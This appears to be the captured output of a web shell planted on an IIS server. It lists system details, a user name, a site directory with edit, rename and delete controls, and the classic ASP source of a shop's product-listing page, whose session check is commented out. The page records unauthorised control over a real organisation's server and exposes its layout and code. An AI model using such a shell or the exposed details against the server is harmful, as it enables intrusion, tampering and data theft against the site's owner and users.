Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<html>
<% 'if session(Webpassed)<>"passed" then Response.End %>

<% dim KK(1000)

if  left(ID,1)="*" then 
                    ID= replace(ID,"'",chr(34))
                    temp=split(ID,"|")
                          xx= trim(replace(temp(0),"*",""))
                          i=0
                                   Set f=fs.OpenTextFile(Server.MapPath("Productlist.inc"), 1)
                                                       do while f.AtEndOfStream = false
                                                             WW=trim(f.ReadLine)
                                                             WW=replace(WW," ","")
                                                             
                                                              if left(WW,3)="@"&xx then 
                                                              	KK(i)=ww:
                                                              	response.write "<font size='2' face='Verdana'>"& KK(i)&"</font><br>"
                                                              	i=i+1
                                                              end if
                                                       loop
                                   f.Close:Set f=Nothing
           %>
           <hr>
   		<% for ii=0 to i-1 :  temp=split(KK(ii),"|"): xx=trim(temp(1)) :
       		 mm=left(xx,3): nn=right(xx,3)  %> 
            
              
             <% If (fs.FileExists(Server.MapPath("../"& mm & "/"& nn &"/0000mainpage.htm")))=true then %>
  
               <table border="0" width="796" height="20" bgcolor="#FFFFFF" style="border-collapse: collapse" bordercolor="#FFFFFF">
					<tr>
					<td height="20" width="796"><% Server.Execute("../"& mm & "/"& nn &"/0000mainpage.htm") %></td>
					</tr>
			</table>
				
			<% end if %>
			
			
			
			<% If (fs.FileExists(Server.MapPath("../"& mm & "/"& nn &"/SellFlag.inc")))=true Then %>
			
	<table border="1" width="796" height="50" style="border-collapse: collapse" bgcolor="#3366FF">
	<tr>
		<td height="50" width="796">
			<p align="center"><b><font face="Verdana" color="#FFFFFF">Add to cart&nbsp;&nbsp;&nbsp; </font><font face="Verdana" color="#00FF00"><%=xx%></font></b></td>
	</tr>
   </table>
			<% end if %>
	<% next %>		
				
	<% end if %>

</body>
<%Set fs=Nothing%>
</html>